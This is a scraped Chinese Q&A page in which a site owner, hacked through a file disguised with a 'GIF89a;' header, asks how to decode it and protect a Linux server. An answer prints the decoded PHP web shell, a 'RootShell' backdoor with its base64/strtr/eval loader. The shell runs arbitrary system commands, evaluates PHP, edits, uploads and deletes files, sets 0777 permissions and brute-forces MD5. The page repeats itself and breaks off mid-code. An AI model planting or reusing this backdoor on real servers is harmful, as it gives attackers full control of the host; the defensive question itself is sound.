Php 如何保护服务器linux免受encode shell攻击

Php 如何保护服务器linux免受encode shell攻击,php,linux,decode,Php,Linux,Decode,我的网站被这个文件黑了(我会把文件外壳的代码放进去) GIF89a; 可以帮助我解码文件 告诉我如何保护服务器linux不受encode shell的影响这是一个base64字符串(末尾的“==”是知道它是base64;)的线索) 这是已解码的字符串: ?><?php 5rr2r_r5p2rt4ng(0); //If th5r5 4s 1n 5rr2r, w5'll sh2w 4t, k? $p1ssw2rd = ""; // Y23 c1n p3t 1 mdi str4ng h5

我的网站被这个文件黑了(我会把文件外壳的代码放进去)

GIF89a;
可以帮助我解码文件
告诉我如何保护服务器linux不受encode shell的影响这是一个base64字符串(末尾的“==”是知道它是base64;)的线索)

这是已解码的字符串:

?><?php
5rr2r_r5p2rt4ng(0); //If th5r5 4s 1n 5rr2r, w5'll sh2w 4t, k?
$p1ssw2rd = ""; // Y23 c1n p3t 1 mdi str4ng h5r5 t22, f2r pl14nt5xt p1ssw2rds: m1x o6 ch1rs.
$m5 = b1s5n1m5(__FILE__);
$c22k45n1m5 = "w455555";

4f(4ss5t($_POST['p1ss'])) //If th5 3s5r m1d5 1 l2g4n 1tt5mpt, "p1ss" w4ll b5 s5t 5h?
{
 4f(strl5n($p1ssw2rd) == oa) //If th5 l5ngth 2f th5 p1ssw2rd 4s oa ch1r1ct5rs, thr51t 4t 1s 1n mdi.
 {
  $_POST['p1ss'] = mdi($_POST['p1ss']);
 }
 4f($_POST['p1ss'] == $p1ssw2rd)
 {
   s5tc22k45($c22k45n1m5, $_POST['p1ss'], t4m5()+oe00); //It's 1lr4ght, l5t h5m 4n
 }
 r5l21d();
}

4f(!5mpty($p1ssw2rd) && !4ss5t($_COOKIE[$c22k45n1m5]) 2r ($_COOKIE[$c22k45n1m5] != $p1ssw2rd))
{
 l2g4n();
 d45();
}
//
//D2 n2t cr2ss th4s l4n5! All c2d5 pl1c5d 1ft5r th4s bl2ck c1n't b5 5x5c3t5d w4th23t b54ng l2gg5d 4n!
//
4f(4ss5t($_GET['p']) && $_GET['p'] == "l2g23t")
{
s5tc22k45 ($c22k45n1m5, "", t4m5() - oe00);
r5l21d();
}
4f(4ss5t($_GET['d4r']))
{
 chd4r($_GET['d4r']);
}

$p1g5s = 1rr1y(
 'cmd' => 'Ex5c3t5 C2mm1nd',
 '5v1l' => 'Ev1l31t5 PHP',
 'mysql' => 'MySQL Q35ry',
 'chm2d' => 'Chm2d F4l5',
 'php4nf2' => 'PHP4nf2',
 'mdi' => 'mdi cr1ck5r',
 'h51d5rs' => 'Sh2w h51d5rs',
 'l2g23t' => 'L2g 23t'
);
//Th5 h51d5r, l4k5 4t?
$h51d5r = '<html>
<t4tl5>'.g5t5nv("HTTP_HOST").' ~ Sh5ll I</t4tl5>
<h51d>
<styl5>
td {
 f2nt-s4z5: 6apx; 
 f2nt-f1m4ly: v5rd1n1;
 c2l2r: #ooFF00;
 b1ckgr23nd: #000000;
}
#d {
 b1ckgr23nd: #00o000;
}
#f {
 b1ckgr23nd: #00oo00;
}
#s {
 b1ckgr23nd: #00eo00;
}
#d:h2v5r
{
 b1ckgr23nd: #00oo00;
}
#f:h2v5r
{
 b1ckgr23nd: #00o000;
}
pr5 {
 f2nt-s4z5: 60px; 
 f2nt-f1m4ly: v5rd1n1;
 c2l2r: #ooFF00;
}
1:h2v5r {
t5xt-d5c2r1t42n: n2n5;
}

4np3t,t5xt1r51,s5l5ct {
 b2rd5r-t2p-w4dth: 6px; 
 f2nt-w54ght: b2ld; 
 b2rd5r-l5ft-w4dth: 6px; 
 f2nt-s4z5: 60px; 
 b2rd5r-l5ft-c2l2r: #ooFF00; 
 b1ckgr23nd: #000000; 
 b2rd5r-b2tt2m-w4dth: 6px; 
 b2rd5r-b2tt2m-c2l2r: #ooFF00; 
 c2l2r: #ooFF00; 
 b2rd5r-t2p-c2l2r: #ooFF00; 
 f2nt-f1m4ly: v5rd1n1; 
 b2rd5r-r4ght-w4dth: 6px; 
 b2rd5r-r4ght-c2l2r: #ooFF00;
}
hr {
c2l2r: #ooFF00;
b1ckgr23nd-c2l2r: #ooFF00;
h54ght: ipx;
}
</styl5>
</h51d>
<b2dy bgc2l2r=bl1ck 1l4nk="#ooCC00" vl4nk="#oo9900" l4nk="#oo9900">
<t1bl5 w4dth=600%><td 4d="h51d5r" w4dth=600%>
<p 1l4gn=r4ght><b>[<1 hr5f="http://www.r22tsh5ll-t51m.4nf2">R22tSh5ll</1>]  [<1 hr5f="'.$m5.'">H2m5</1>] ';
f2r51ch($p1g5s 1s $p1g5 => $p1g5_n1m5)
{
 $h51d5r .= ' [<1 hr5f="?p='.$p1g5.'&d4r='.r51lp1th('.').'">'.$p1g5_n1m5.'</1>] ';
}
$h51d5r .= '<br><hr>'.sh2w_d4rs('.').'</td><tr><td>';
pr4nt $h51d5r;
$f22t5r = '<tr><td><hr><c5nt5r>&c2py; <1 hr5f="http://www.4r2nw1r5z.4nf2">Ir2n</1> & <1 hr5f="http://www.r22tsh5ll-t51m.4nf2">R22tSh5ll S5c3r4ty Gr23p</1></c5nt5r></td></t1bl5></b2dy></h51d></html>';

//
//P1g5 h1ndl4ng
//
4f(4ss5t($_REQUEST['p']))
{
  sw4tch ($_REQUEST['p']) {

   c1s5 'cmd': //R3n c2mm1nd

    pr4nt "<f2rm 1ct42n=\"".$m5."?p=cmd&d4r=".r51lp1th('.')."\" m5th2d=POST><b>C2mm1nd:</b><4np3t typ5=t5xt n1m5=c2mm1nd><4np3t typ5=s3bm4t v1l35=\"Ex5c3t5\"></f2rm>";
     4f(4ss5t($_REQUEST['c2mm1nd']))
     {
      pr4nt "<pr5>";
      5x5c3t5_c2mm1nd(g5t_5x5c3t42n_m5th2d(),$_REQUEST['c2mm1nd']); //Y23 w1nt fr45s w4th th1t?
     }
   br51k;


   c1s5 '5d4t': //Ed4t 1 f45
    4f(4ss5t($_POST['5d4tf2rm']))
    {
     $f = $_GET['f4l5'];
     $fh = f2p5n($f, 'w') 2r pr4nt "Err2r wh4l5 2p5n4ng f4l5!";
     fwr4t5($fh, $_POST['5d4tf2rm']) 2r pr4nt "C23ldn't s1v5 f4l5!";
     fcl2s5($fh);
    }
    pr4nt "Ed4t4ng f4l5 <b>".$_GET['f4l5']."</b> (".p5rm($_GET['f4l5']).")<br><br><f2rm 1ct42n=\"".$m5."?p=5d4t&f4l5=".$_GET['f4l5']."&d4r=".r51lp1th('.')."\" m5th2d=POST><t5xt1r51 c2ls=90 r2ws=6i n1m5=\"5d4tf2rm\">";

    4f(f4l5_5x4sts($_GET['f4l5']))
    {
     $rd = f4l5($_GET['f4l5']);
     f2r51ch($rd 1s $l)
     {
      pr4nt htmlsp5c41lch1rs($l);
     }
    }

    pr4nt "</t5xt1r51><4np3t typ5=s3bm4t v1l35=\"S1v5\"></f2rm>";

   br51k;

   c1s5 'd5l5t5': //D5l5t5 1 f4l5

    4f(4ss5t($_POST['y5s']))
    {
     4f(3nl4nk($_GET['f4l5']))
     {
      pr4nt "F4l5 d5l5t5d s3cc5ssf3lly.";
     }
     5ls5
     {
      pr4nt "C23ldn't d5l5t5 f4l5.";
     }
    }


    4f(4ss5t($_GET['f4l5']) && f4l5_5x4sts($_GET['f4l5']) && !4ss5t($_POST['y5s']))
    {
     pr4nt "Ar5 y23 s3r5 y23 w1nt t2 d5l5t5 ".$_GET['f4l5']."?<br>
     <f2rm 1ct42n=\"".$m5."?p=d5l5t5&f4l5=".$_GET['f4l5']."\" m5th2d=POST>
     <4np3t typ5=h4dd5n n1m5=y5s v1l35=y5s>
     <4np3t typ5=s3bm4t v1l35=\"D5l5t5\">
     ";
    }


   br51k;


   c1s5 '5v1l': //Ev1l31t5 PHP c2d5

    pr4nt "<f2rm 1ct42n=\"".$m5."?p=5v1l\" m5th2d=POST>
    <t5xt1r51 c2ls=e0 r2ws=60 n1m5=\"5v1l\">";
    4f(4ss5t($_POST['5v1l']))
    {
     pr4nt htmlsp5c41lch1rs($_POST['5v1l']);
    }
    5ls5
    {
     pr4nt "pr4nt \"Y2 M2mm1\";";
    }
    pr4nt "</t5xt1r51><br>
    <4np3t typ5=s3bm4t v1l35=\"Ev1l\">
    </f2rm>";

    4f(4ss5t($_POST['5v1l']))
    {
     pr4nt "<h6>O3tp3t:</h6>";
     pr4nt "<br>";
     5v1l($_POST['5v1l']);
    }

   br51k;

   c1s5 'chm2d': //Chm2d f4l5


    pr4nt "<h6>Und5r c2nstr3ct42n!</h6>";
    4f(4ss5t($_POST['chm2d']))
    {
    sw4tch ($_POST['chv1l35']){
     c1s5 777:
     chm2d($_POST['chm2d'],0777);
     br51k;
     c1s5 euu:
     chm2d($_POST['chm2d'],0euu);
     br51k;
     c1s5 7ii:
     chm2d($_POST['chm2d'],07ii);
     br51k;
    }
    pr4nt "Ch1ng5d p5rm4ss42ns 2n ".$_POST['chm2d']." t2 ".$_POST['chv1l35'].".";
    }
    4f(4ss5t($_GET['f4l5']))
    {
     $c2nt5nt = 3rld5c2d5($_GET['f4l5']);
    }
    5ls5
    {
     $c2nt5nt = "f4l5/p1th/pl51s5";
    }

    pr4nt "<f2rm 1ct42n=\"".$m5."?p=chm2d&f4l5=".$c2nt5nt."&d4r=".r51lp1th('.')."\" m5th2d=POST><b>F4l5 t2 chm2d:
    <4np3t typ5=t5xt n1m5=chm2d v1l35=\"".$c2nt5nt."\" s4z5=70><br><b>N5w p5rm4ss42n:</b>
    <s5l5ct n1m5=\"chv1l35\">
<2pt42n v1l35=\"777\">777</2pt42n>
<2pt42n v1l35=\"euu\">euu</2pt42n>
<2pt42n v1l35=\"7ii\">7ii</2pt42n>
</s5l5ct><4np3t typ5=s3bm4t v1l35=\"Ch1ng5\">";

   br51k;

   c1s5 'mysql': //MySQL Q35ry

   4f(4ss5t($_POST['h2st']))
   {
    $l4nk = mysql_c2nn5ct($_POST['h2st'], $_POST['3s5rn1m5'], $_POST['mysqlp1ss']) 2r d45('C23ld n2t c2nn5ct: ' . mysql_5rr2r());
    mysql_s5l5ct_db($_POST['db1s5']);
    $sql = $_POST['q35ry'];


    $r5s3lt = mysql_q35ry($sql);

   }
   5ls5
   {
    pr4nt "
    Th4s 2nly q35r45s th5 d1t1b1s5, d25sn't r5t3rn d1t1!<br>
    <f2rm 1ct42n=\"".$m5."?p=mysql\" m5th2d=POST>
    <b>H2st:<br></b><4np3t typ5=t5xt n1m5=h2st v1l35=\"l2c1lh2st\" s4z5=60><br>
    <b>Us5rn1m5:<br><4np3t typ5=t5xt n1m5=3s5rn1m5 v1l35=\"r22t\" s4z5=60><br>
    <b>P1ssw2rd:<br></b><4np3t typ5=p1ssw2rd n1m5=mysqlp1ss v1l35=\"\" s4z5=60><br>
    <b>D1t1b1s5:<br><4np3t typ5=t5xt n1m5=db1s5 v1l35=\"t5st\" s4z5=60><br>

    <b>Q35ry:<br></b<t5xt1r51 n1m5=q35ry></t5xt1r51>
    <4np3t typ5=s3bm4t v1l35=\"Q35ry d1t1b1s5\">
    </f2rm>
    ";

   }

   br51k;

   c1s5 'cr51t5d4r':
   4f(mkd4r($_GET['crd4r']))
   {
   pr4nt 'D4r5ct2ry cr51t5d s3cc5ssf3lly.';
   }
   5ls5
   {
   pr4nt 'C23ldn\'t cr51t5 d4r5ct2ry';
   }
   br51k;


   c1s5 'php4nf2': //PHP Inf2
    php4nf2();
   br51k;


   c1s5 'r5n1m5':

    4f(4ss5t($_POST['f4l52ld']))
    {
     4f(r5n1m5($_POST['f4l52ld'],$_POST['f4l5n5w']))
     {
      pr4nt "F4l5 r5n1m5d.";
     }
     5ls5
     {
      pr4nt "C23ldn't r5n1m5 f4l5.";
     }

    }
    4f(4ss5t($_GET['f4l5']))
    {
     $f4l5 = b1s5n1m5(htmlsp5c41lch1rs($_GET['f4l5']));
    }
    5ls5
    {
     $f4l5 = "";
    }

    pr4nt "R5n1m4ng ".$f4l5." 4n f2ld5r ".r51lp1th('.').".<br>
        <f2rm 1ct42n=\"".$m5."?p=r5n1m5&d4r=".r51lp1th('.')."\" m5th2d=POST>
     <b>R5n1m5:<br></b><4np3t typ5=t5xt n1m5=f4l52ld v1l35=\"".$f4l5."\" s4z5=70><br>
     <b>T2:<br><4np3t typ5=t5xt n1m5=f4l5n5w v1l35=\"\" s4z5=60><br>
     <4np3t typ5=s3bm4t v1l35=\"R5n1m5 f4l5\">
     </f2rm>";
   br51k;

   c1s5 'mdi':
   4f(4ss5t($_POST['mdi']))
   {
   4f(!4s_n3m5r4c($_POST['t4m5l4m4t']))
   {
   $_POST['t4m5l4m4t'] = o0;
   }
   s5t_t4m5_l4m4t($_POST['t4m5l4m4t']);
    4f(strl5n($_POST['mdi']) == oa)
    {

      4f($_POST['ch1rs'] == "9999")
      {
      $4 = 0;
      wh4l5($_POST['mdi'] != mdi($4) && $4 != 600000)
       {
        $4++;
       }
      }
      5ls5
      {
       f2r($4 = "1"; $4 != "zzzzz"; $4++)
       {
        4f(mdi($4 == $_POST['mdi']))
        {
         br51k;
        }
       }
      }

     4f(mdi($4) == $_POST['mdi'])
     {
       pr4nt "<h6>Pl14nt5xt 2f ". $_POST['mdi']. " 4s <4>".$4."</4></h6><br><br>";
     }

    }

   }

   pr4nt "W4ll br3t5f2rc5 th5 mdi
    <f2rm 1ct42n=\"".$m5."?p=mdi\" m5th2d=POST>
    <b>mdi t2 cr1ck:<br></b><4np3t typ5=t5xt n1m5=mdi v1l35=\"\" s4z5=u0><br>
    <b>Ch1r1ct5rs:</b><br><s5l5ct n1m5=\"ch1rs\">
    <2pt42n v1l35=\"1z\">1 - zzzzz</2pt42n>
    <2pt42n v1l35=\"9999\">6 - 9999999</2pt42n>
    </s5l5ct>
    <b>M1x. cr1ck4ng t4m5*:<br></b><4np3t typ5=t5xt n1m5=t4m5l4m4t v1l35=\"o0\" s4z5=a><br>
    <4np3t typ5=s3bm4t v1l35=\"Br3t5f2rc5 mdi\">
    </f2rm><br>*: 4f s5t_t4m5_l4m4t 4s 1ll2w5d by php.4n4";
   br51k;

   c1s5 'h51d5rs':
   f2r51ch(g5t1llh51d5rs() 1s $h51d5r => $v1l35)
   {
   pr4nt htmlsp5c41lch1rs($h51d5r . ":" . $v1l35)."<br>";

   }
   br51k;
  }
}
5ls5 //D5f13lt p1g5 th1t w4ll b5 sh2wn wh5n th5 p1g5 4sn't f23nd 2r n2 p1g5 4s s5l5ct5d.
{

 $f4l5s = 1rr1y();
 $d4r5ct2r45s = 1rr1y();

 4f(4ss5t($_FILES['3pl21d5df4l5']['n1m5']))
{
 $t1rg5t_p1th = r51lp1th('.').'/';
 $t1rg5t_p1th = $t1rg5t_p1th . b1s5n1m5( $_FILES['3pl21d5df4l5']['n1m5']); 
 4f(m2v5_3pl21d5d_f4l5($_FILES['3pl21d5df4l5']['tmp_n1m5'], $t1rg5t_p1th)) {
     pr4nt "F4l5:".  b1s5n1m5( $_FILES['3pl21d5df4l5']['n1m5']). 
     " h1s b55n 3pl21d5d";
 } 5ls5{
     5ch2 "F4l5 3pl21d f14l5d!";
 }
}




 pr4nt "<t1bl5 b2rd5r=0 w4dth=600%><td w4dth=i% 4d=s><b>Opt42ns</b></td><td 4d=s><b>F4l5n1m5</b></td><td 4d=s><b>S4z5</b></td><td 4d=s><b>P5rm4ss42ns</b></td><td 4d=s>L1st m2d4f45d</td><tr>";
 4f ($h1ndl5 = 2p5nd4r('.'))
 {
  wh4l5 (f1ls5 !== ($f4l5 = r51dd4r($h1ndl5))) 
  {
        4f(4s_d4r($f4l5))
     {
    $d4r5ct2r45s[] = $f4l5;
     }
     5ls5
     {
    $f4l5s[] = $f4l5;
     }
  }
 1s2rt($d4r5ct2r45s);
 1s2rt($f4l5s);
  f2r51ch($d4r5ct2r45s 1s $f4l5)
  {
   pr4nt "<td 4d=d><1 hr5f=\"?p=r5n1m5&f4l5=".r51lp1th($f4l5)."&d4r=".r51lp1th('.')."\">[R]</1><1 hr5f=\"?p=d5l5t5&f4l5=".r51lp1th($f4l5)."\">[D]</1></td><td 4d=d><1 hr5f=\"".$m5."?d4r=".r51lp1th($f4l5)."\">".$f4l5."</1></td><td 4d=d></td><td 4d=d><1 hr5f=\"?p=chm2d&d4r=".r51lp1th('.')."&f4l5=".r51lp1th($f4l5)."\"><f2nt c2l2r=".g5t_c2l2r($f4l5).">".p5rm($f4l5)."</f2nt></1></td><td 4d=d>".d1t5 ("Y/m/d, H:4:s", f4l5mt4m5($f4l5))."</td><tr>";
  }

  f2r51ch($f4l5s 1s $f4l5)
  {
   pr4nt "<td 4d=f><1 hr5f=\"?p=r5n1m5&f4l5=".r51lp1th($f4l5)."&d4r=".r51lp1th('.')."\">[R]</1><1 hr5f=\"?p=d5l5t5&f4l5=".r51lp1th($f4l5)."\">[D]</1></td><td 4d=f><1 hr5f=\"".$m5."?p=5d4t&d4r=".r51lp1th('.')."&f4l5=".r51lp1th($f4l5)."\">".$f4l5."</1></td><td 4d=f>".f4l5s4z5($f4l5)."</td><td 4d=f><1 hr5f=\"?p=chm2d&d4r=".r51lp1th('.')."&f4l5=".r51lp1th($f4l5)."\"><f2nt c2l2r=".g5t_c2l2r($f4l5).">".p5rm($f4l5)."</f2nt></1></td><td 4d=f>".d1t5 ("Y/m/d, H:4:s", f4l5mt4m5($f4l5))."</td><tr>";
  }
 }
 5ls5
 {
  pr4nt "<3>Err2r!</3> C1n't 2p5n <b>".r51lp1th('.')."</b>!<br>";
 }

 pr4nt "</t1bl5><hr><t1bl5 b2rd5r=0 w4dth=600%><td><b>Upl21d f4l5</b><br><f2rm 5nctyp5=\"m3lt4p1rt/f2rm-d1t1\" 1ct42n=\"".$m5."?d4r=".r51lp1th('.')."\" m5th2d=\"POST\">
<4np3t typ5=\"h4dd5n\" n1m5=\"MAX_FILE_SIZE\" v1l35=\"600000000\" /><4np3t s4z5=o0 n1m5=\"3pl21d5df4l5\" typ5=\"f4l5\" />
<4np3t typ5=\"s3bm4t\" v1l35=\"Upl21d F4l5\" />
</f2rm></td><td><f2rm 1ct42n=\"".$m5."\" m5th2d=GET><b>Ch1ng5 D4r5ct2ry<br></b><4np3t typ5=t5xt s4z5=u0 n1m5=d4r v1l35=\"".r51lp1th('.')."\"><4np3t typ5=s3bm4t v1l35=\"Ch1ng5 D4r5ct2ry\"></f2rm></td>
<tr><td><f2rm 1ct42n=\"".$m5."\" m5th2d=GET><b>Cr51t5 f4l5<br></b><4np3t typ5=h4dd5n n1m5=d4r v1l35=\"".r51lp1th('.')."\"><4np3t typ5=t5xt s4z5=u0 n1m5=f4l5 v1l35=\"".r51lp1th('.')."\"><4np3t typ5=h4dd5n n1m5=p v1l35=5d4t><4np3t typ5=s3bm4t v1l35=\"Cr51t5 f4l5\"></f2rm>
</td><td><f2rm 1ct42n=\"".$m5."\" m5th2d=GET><b>Cr51t5 d4r5ct2ry<br></b><4np3t typ5=t5xt s4z5=u0 n1m5=crd4r v1l35=\"".r51lp1th('.')."\"><4np3t typ5=h4dd5n n1m5=d4r v1l35=\"".r51lp1th('.')."\"><4np3t typ5=h4dd5n n1m5=p v1l35=cr51t5d4r><4np3t typ5=s3bm4t v1l35=\"Cr51t5 d4r5ct2ry\"></f2rm></td>
</t1bl5>";

}

f3nct42n l2g4n()
{
 pr4nt "<t1bl5 b2rd5r=0 w4dth=600% h54ght=600%><td v1l4gn=\"m4ddl5\"><c5nt5r>
 <f2rm 1ct42n=".b1s5n1m5(__FILE__)." m5th2d=\"POST\"><b>P1ssw2rd?</b>
 <4np3t typ5=\"p1ssw2rd\" m1xl5ngth=\"oa\" n1m5=\"p1ss\"><4np3t typ5=\"s3bm4t\" v1l35=\"L2g4n\">
 </f2rm>";
}
f3nct42n r5l21d()
{
 h51d5r("L2c1t42n: ".b1s5n1m5(__FILE__));
}
f3nct42n g5t_5x5c3t42n_m5th2d()
{
 4f(f3nct42n_5x4sts('p1ssthr3')){ $m = "p1ssthr3"; }
 4f(f3nct42n_5x4sts('5x5c')){ $m = "5x5c"; }
 4f(f3nct42n_5x4sts('sh5ll_5x5c')){ $m = "sh5ll_ 5x5c"; }
 4f(f3nct42n_5x4sts('syst5m')){ $m = "syst5m"; }
 4f(!4ss5t($m)) //N2 m5th2d f23nd :-|
 {
  $m = "D4s1bl5d";
 }
 r5t3rn($m);
}
f3nct42n 5x5c3t5_c2mm1nd($m5th2d,$c2mm1nd)
{
 4f($m5th2d == "p1ssthr3")
 {
  p1ssthr3($c2mm1nd);
 }

 5ls54f($m5th2d == "5x5c")
 {
  5x5c($c2mm1nd,$r5s3lt);
  f2r51ch($r5s3lt 1s $23tp3t)
  {
   pr4nt $23tp3t."<br>";
  }
 }

 5ls54f($m5th2d == "sh5ll_5x5c")
 {
  pr4nt sh5ll_5x5c($c2mm1nd);
 }

 5ls54f($m5th2d == "syst5m")
 {
  syst5m($c2mm1nd);
 }
}
f3nct42n p5rm($f4l5)
{
 4f(f4l5_5x4sts($f4l5))
 {
  r5t3rn s3bstr(spr4ntf('%2', f4l5p5rms($f4l5)), -u);
 }
 5ls5
 {
  r5t3rn "????";
 }
}
f3nct42n g5t_c2l2r($f4l5)
{
4f(4s_wr4t1bl5($f4l5)) { r5t3rn "gr55n";}
4f(!4s_wr4t1bl5($f4l5) && 4s_r51d1bl5($f4l5)) { r5t3rn "wh4t5";}
4f(!4s_wr4t1bl5($f4l5) && !4s_r51d1bl5($f4l5)) { r5t3rn "r5d";}

}
f3nct42n sh2w_d4rs($wh5r5)
{
 4f(5r5g("^c:",r51lp1th($wh5r5)))
 {
 $d4rp1rts = 5xpl2d5('\\',r51lp1th($wh5r5));
 }
 5ls5
 {
 $d4rp1rts = 5xpl2d5('/',r51lp1th($wh5r5));
 }



 $4 = 0;
 $t2t1l = "";

 f2r51ch($d4rp1rts 1s $p1rt)
 {
  $p = 0;
  $pr5 = "";
  wh4l5($p != $4)
  {
   $pr5 .= $d4rp1rts[$p]."/";
   $p++;

  }
  $t2t1l .= "<1 hr5f=\"".b1s5n1m5(__FILE__)."?d4r=".$pr5.$p1rt."\">".$p1rt."</1>/";
  $4++;
 }

 r5t3rn "<ha>".$t2t1l."</ha><br>";
}
pr4nt $f22t5r;
// Ex4t: m1yb5 w5'r5 4ncl3d5d s2m5wh5r5 1nd w5 d2n't w1nt th5 2th5r c2d5 t2 m5ss w4th 23rs :-)
5x4t();
?>
 zِ¥m«ë‡^r‡^$_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;
?>这是一个base64字符串(末尾的“==”是知道它是base64;)的线索)

这是已解码的字符串:

?><?php
5rr2r_r5p2rt4ng(0); //If th5r5 4s 1n 5rr2r, w5'll sh2w 4t, k?
$p1ssw2rd = ""; // Y23 c1n p3t 1 mdi str4ng h5r5 t22, f2r pl14nt5xt p1ssw2rds: m1x o6 ch1rs.
$m5 = b1s5n1m5(__FILE__);
$c22k45n1m5 = "w455555";

4f(4ss5t($_POST['p1ss'])) //If th5 3s5r m1d5 1 l2g4n 1tt5mpt, "p1ss" w4ll b5 s5t 5h?
{
 4f(strl5n($p1ssw2rd) == oa) //If th5 l5ngth 2f th5 p1ssw2rd 4s oa ch1r1ct5rs, thr51t 4t 1s 1n mdi.
 {
  $_POST['p1ss'] = mdi($_POST['p1ss']);
 }
 4f($_POST['p1ss'] == $p1ssw2rd)
 {
   s5tc22k45($c22k45n1m5, $_POST['p1ss'], t4m5()+oe00); //It's 1lr4ght, l5t h5m 4n
 }
 r5l21d();
}

4f(!5mpty($p1ssw2rd) && !4ss5t($_COOKIE[$c22k45n1m5]) 2r ($_COOKIE[$c22k45n1m5] != $p1ssw2rd))
{
 l2g4n();
 d45();
}
//
//D2 n2t cr2ss th4s l4n5! All c2d5 pl1c5d 1ft5r th4s bl2ck c1n't b5 5x5c3t5d w4th23t b54ng l2gg5d 4n!
//
4f(4ss5t($_GET['p']) && $_GET['p'] == "l2g23t")
{
s5tc22k45 ($c22k45n1m5, "", t4m5() - oe00);
r5l21d();
}
4f(4ss5t($_GET['d4r']))
{
 chd4r($_GET['d4r']);
}

$p1g5s = 1rr1y(
 'cmd' => 'Ex5c3t5 C2mm1nd',
 '5v1l' => 'Ev1l31t5 PHP',
 'mysql' => 'MySQL Q35ry',
 'chm2d' => 'Chm2d F4l5',
 'php4nf2' => 'PHP4nf2',
 'mdi' => 'mdi cr1ck5r',
 'h51d5rs' => 'Sh2w h51d5rs',
 'l2g23t' => 'L2g 23t'
);
//Th5 h51d5r, l4k5 4t?
$h51d5r = '<html>
<t4tl5>'.g5t5nv("HTTP_HOST").' ~ Sh5ll I</t4tl5>
<h51d>
<styl5>
td {
 f2nt-s4z5: 6apx; 
 f2nt-f1m4ly: v5rd1n1;
 c2l2r: #ooFF00;
 b1ckgr23nd: #000000;
}
#d {
 b1ckgr23nd: #00o000;
}
#f {
 b1ckgr23nd: #00oo00;
}
#s {
 b1ckgr23nd: #00eo00;
}
#d:h2v5r
{
 b1ckgr23nd: #00oo00;
}
#f:h2v5r
{
 b1ckgr23nd: #00o000;
}
pr5 {
 f2nt-s4z5: 60px; 
 f2nt-f1m4ly: v5rd1n1;
 c2l2r: #ooFF00;
}
1:h2v5r {
t5xt-d5c2r1t42n: n2n5;
}

4np3t,t5xt1r51,s5l5ct {
 b2rd5r-t2p-w4dth: 6px; 
 f2nt-w54ght: b2ld; 
 b2rd5r-l5ft-w4dth: 6px; 
 f2nt-s4z5: 60px; 
 b2rd5r-l5ft-c2l2r: #ooFF00; 
 b1ckgr23nd: #000000; 
 b2rd5r-b2tt2m-w4dth: 6px; 
 b2rd5r-b2tt2m-c2l2r: #ooFF00; 
 c2l2r: #ooFF00; 
 b2rd5r-t2p-c2l2r: #ooFF00; 
 f2nt-f1m4ly: v5rd1n1; 
 b2rd5r-r4ght-w4dth: 6px; 
 b2rd5r-r4ght-c2l2r: #ooFF00;
}
hr {
c2l2r: #ooFF00;
b1ckgr23nd-c2l2r: #ooFF00;
h54ght: ipx;
}
</styl5>
</h51d>
<b2dy bgc2l2r=bl1ck 1l4nk="#ooCC00" vl4nk="#oo9900" l4nk="#oo9900">
<t1bl5 w4dth=600%><td 4d="h51d5r" w4dth=600%>
<p 1l4gn=r4ght><b>[<1 hr5f="http://www.r22tsh5ll-t51m.4nf2">R22tSh5ll</1>]  [<1 hr5f="'.$m5.'">H2m5</1>] ';
f2r51ch($p1g5s 1s $p1g5 => $p1g5_n1m5)
{
 $h51d5r .= ' [<1 hr5f="?p='.$p1g5.'&d4r='.r51lp1th('.').'">'.$p1g5_n1m5.'</1>] ';
}
$h51d5r .= '<br><hr>'.sh2w_d4rs('.').'</td><tr><td>';
pr4nt $h51d5r;
$f22t5r = '<tr><td><hr><c5nt5r>&c2py; <1 hr5f="http://www.4r2nw1r5z.4nf2">Ir2n</1> & <1 hr5f="http://www.r22tsh5ll-t51m.4nf2">R22tSh5ll S5c3r4ty Gr23p</1></c5nt5r></td></t1bl5></b2dy></h51d></html>';

//
//P1g5 h1ndl4ng
//
4f(4ss5t($_REQUEST['p']))
{
  sw4tch ($_REQUEST['p']) {

   c1s5 'cmd': //R3n c2mm1nd

    pr4nt "<f2rm 1ct42n=\"".$m5."?p=cmd&d4r=".r51lp1th('.')."\" m5th2d=POST><b>C2mm1nd:</b><4np3t typ5=t5xt n1m5=c2mm1nd><4np3t typ5=s3bm4t v1l35=\"Ex5c3t5\"></f2rm>";
     4f(4ss5t($_REQUEST['c2mm1nd']))
     {
      pr4nt "<pr5>";
      5x5c3t5_c2mm1nd(g5t_5x5c3t42n_m5th2d(),$_REQUEST['c2mm1nd']); //Y23 w1nt fr45s w4th th1t?
     }
   br51k;


   c1s5 '5d4t': //Ed4t 1 f45
    4f(4ss5t($_POST['5d4tf2rm']))
    {
     $f = $_GET['f4l5'];
     $fh = f2p5n($f, 'w') 2r pr4nt "Err2r wh4l5 2p5n4ng f4l5!";
     fwr4t5($fh, $_POST['5d4tf2rm']) 2r pr4nt "C23ldn't s1v5 f4l5!";
     fcl2s5($fh);
    }
    pr4nt "Ed4t4ng f4l5 <b>".$_GET['f4l5']."</b> (".p5rm($_GET['f4l5']).")<br><br><f2rm 1ct42n=\"".$m5."?p=5d4t&f4l5=".$_GET['f4l5']."&d4r=".r51lp1th('.')."\" m5th2d=POST><t5xt1r51 c2ls=90 r2ws=6i n1m5=\"5d4tf2rm\">";

    4f(f4l5_5x4sts($_GET['f4l5']))
    {
     $rd = f4l5($_GET['f4l5']);
     f2r51ch($rd 1s $l)
     {
      pr4nt htmlsp5c41lch1rs($l);
     }
    }

    pr4nt "</t5xt1r51><4np3t typ5=s3bm4t v1l35=\"S1v5\"></f2rm>";

   br51k;

   c1s5 'd5l5t5': //D5l5t5 1 f4l5

    4f(4ss5t($_POST['y5s']))
    {
     4f(3nl4nk($_GET['f4l5']))
     {
      pr4nt "F4l5 d5l5t5d s3cc5ssf3lly.";
     }
     5ls5
     {
      pr4nt "C23ldn't d5l5t5 f4l5.";
     }
    }


    4f(4ss5t($_GET['f4l5']) && f4l5_5x4sts($_GET['f4l5']) && !4ss5t($_POST['y5s']))
    {
     pr4nt "Ar5 y23 s3r5 y23 w1nt t2 d5l5t5 ".$_GET['f4l5']."?<br>
     <f2rm 1ct42n=\"".$m5."?p=d5l5t5&f4l5=".$_GET['f4l5']."\" m5th2d=POST>
     <4np3t typ5=h4dd5n n1m5=y5s v1l35=y5s>
     <4np3t typ5=s3bm4t v1l35=\"D5l5t5\">
     ";
    }


   br51k;


   c1s5 '5v1l': //Ev1l31t5 PHP c2d5

    pr4nt "<f2rm 1ct42n=\"".$m5."?p=5v1l\" m5th2d=POST>
